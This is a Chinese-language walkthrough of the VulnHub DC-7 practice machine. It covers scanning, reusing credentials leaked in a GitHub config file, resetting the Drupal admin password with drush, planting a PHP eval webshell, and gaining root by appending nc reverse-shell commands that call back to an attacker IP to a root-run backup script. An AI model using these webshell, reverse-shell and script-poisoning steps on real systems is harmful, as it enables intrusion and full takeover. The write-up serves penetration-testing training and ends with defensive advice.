VulnHub靶机 DC-7 打靶 详细渗透过程
字数 1552 2025-08-19 12:42:26
DC-7 靶机渗透测试详细教程
1. 靶机信息与环境准备
- 靶机名称:DC-7
- 下载地址:https://www.vulnhub.com/entry/dc-7,356/
- 难度等级:中等
- 测试环境:VMware/VirtualBox 虚拟机环境
2. 信息收集阶段
2.1 主机发现
使用以下命令进行主机发现:
arp-scan -l
# 或
nmap -sn 10.1.2.0/24
2.2 端口扫描
对目标IP(假设为10.1.2.237)进行全端口扫描:
nmap -p- 10.1.2.237
发现开放端口:
- 22/tcp - SSH服务
- 80/tcp - HTTP服务
2.3 服务版本探测
详细探测服务信息:
nmap -p80 -sV -A 10.1.2.237
2.4 目录爆破
使用dirsearch进行目录爆破:
dirsearch -u http://10.1.2.237/ -i 200
3. Web应用分析
3.1 指纹识别
识别Web应用指纹:
whatweb http://10.1.2.237/
3.2 源码审计
- 在网页左下角发现作者信息
- 根据作者信息在GitHub搜索相关项目
- 在GitHub仓库中找到config.php配置文件,内容如下:
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
4. 初始访问获取
4.1 SSH登录尝试
使用发现的凭据尝试SSH登录:
ssh dc7user@10.1.2.237
# 密码: MdR3xOgB7#dW
成功获取初始shell访问权限。
5. 权限提升路径
5.1 检查系统信息
- 查找具有SUID权限的文件:
find / -perm -u=s -type f 2>/dev/null
- 检查用户邮件:
cat /var/mail/dc7user
在邮件中发现重要信息,指向备份脚本。
5.2 分析备份脚本
查看/opt/scripts/backups.sh脚本:
ls -l /opt/scripts/backups.sh
cat /opt/scripts/backups.sh
发现脚本属主为root,属组为www-data,且脚本中使用了drush命令。
5.3 利用drush修改密码
- 了解drush命令:
drush help
- 修改Drupal管理员密码:
drush user-password admin --password="admin"
- 如果报错,切换到网站目录再次执行。
5.4 访问Drupal后台
- 使用新密码(admin/admin)登录Drupal后台
- 导航到"扩展"部分
6. 获取Webshell
6.1 安装PHP模块
由于Drupal 8默认不支持PHP代码执行,需要安装PHP模块:
-
下载PHP模块:
- 项目页面:https://www.drupal.org/project/php
- 下载地址:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
-
在Drupal后台"扩展"中安装该模块
6.2 添加PHP代码
- 编辑页面内容,添加PHP代码:
<?php @eval($_POST['cmd']);?>
- 保存时选择"PHP code"格式
6.3 使用蚁剑连接
使用中国蚁剑等工具连接webshell,获取www-data权限。
7. 权限提升至root
7.1 反弹shell
- 在webshell中执行反弹命令:
nc -e /bin/bash 10.1.2.228 8888
- 在攻击机监听:
nc -lvnp 8888
- 获取稳定shell:
python -c "import pty;pty.spawn('/bin/bash')"
7.2 利用备份脚本提权
- 将反弹shell命令追加到备份脚本:
echo "nc -e /bin/bash 10.1.2.228 6666" >> /opt/scripts/backups.sh
# 或
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.1.2.228 6666 >/tmp/f" >> /opt/scripts/backups.sh
-
等待脚本执行(可能是计划任务)或直接执行脚本
-
在攻击机监听6666端口,获取root shell
8. 渗透测试总结
完整攻击链:
- 主机发现 → 端口扫描 → 目录爆破
- 发现后台 → 服务探测 → 白盒测试(源码审计)
- 找到配置文件 → SSH远程登录
- 检查邮件信息 → 发现备份脚本
- 利用drush命令 → 修改后台密码
- 进入后台 → 安装PHP模块 → getshell
- 反弹shell → 修改备份脚本 → 提权至root
9. 关键点总结
- 信息收集:全面的信息收集是渗透测试的基础
- 源码审计:白盒测试中源码审计可以快速发现敏感信息
- 凭证复用:Web应用凭据可能在系统层面复用
- 邮件检查:系统邮件往往包含重要信息
- 备份脚本分析:自动化脚本可能是提权的关键点
- Drupal模块利用:了解CMS特性有助于突破限制
- 计划任务利用:利用系统自动化任务实现权限提升
10. 防御建议
- 避免在源码中硬编码敏感信息
- 实施最小权限原则
- 定期审计系统脚本和计划任务
- 保持CMS和插件更新
- 使用强密码且避免凭据复用
- 限制SSH访问
- 监控系统日志和异常行为